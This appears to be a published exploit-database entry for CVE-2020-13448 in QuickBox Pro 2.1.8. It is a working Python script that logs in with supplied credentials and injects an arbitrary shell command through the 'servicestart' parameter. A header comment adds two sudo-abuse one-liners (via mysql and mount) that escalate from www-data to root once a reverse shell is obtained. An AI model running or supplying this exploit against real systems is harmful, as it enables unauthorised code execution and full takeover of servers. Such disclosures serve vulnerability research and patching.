# Exploit Title: QuickBox Pro 2.1.8 - Authenticated Remote Code Execution # Date: 2020-05-26 # Exploit Author: s1gh # Vendor Homepage: https://quickbox.io/ # Vulnerability Details: https://s1gh.sh/cve-2020-13448-quickbox-authenticated-rce/ # Version: <= 2.1.8 # Description: An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules. # Tested on: Debian 9 # CVE: CVE-2020-13448 # References: https://github.com/s1gh/QuickBox-Pro-2.1.8-Authenticated-RCE ''' Privilege escalation: After getting a reverse shell as the www-data user you can escalate to root in one of two ways. 1. sudo mysql -e '\! /bin/sh' 2. sudo mount -o bind /bin/sh /bin/mount;sudo mount ''' #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import argparse import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning from urllib.parse import quote_plus requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit(args): s = requests.Session() print('[*] Sending our payload...') s.post('https://' + args.ip + '/inc/process.php', data={'username': args.username, 'password': args.password, 'form_submission': 'login'}, verify=False) try: s.get('https://' + args.ip + '/index.php?id=88&servicestart=a;' + quote_plus(args.cmd) + ';', verify=False) except requests.exceptions.ReadTimeout: pass def main(): parser = argparse.ArgumentParser(description="Authenticated RCE for QuickBox Pro <= v2.1.8") parser.add_argument('-i',dest='ip',required=True,help="Target IP Address") parser.add_argument('-u',dest='username',required=True,help="Username") parser.add_argument('-p',dest='password',required=True,help="Password") parser.add_argument('-c',dest='cmd', required=True, help="Command to execute") args = parser.parse_args() exploit(args) if __name__ == '__main__': main() sys.exit(0)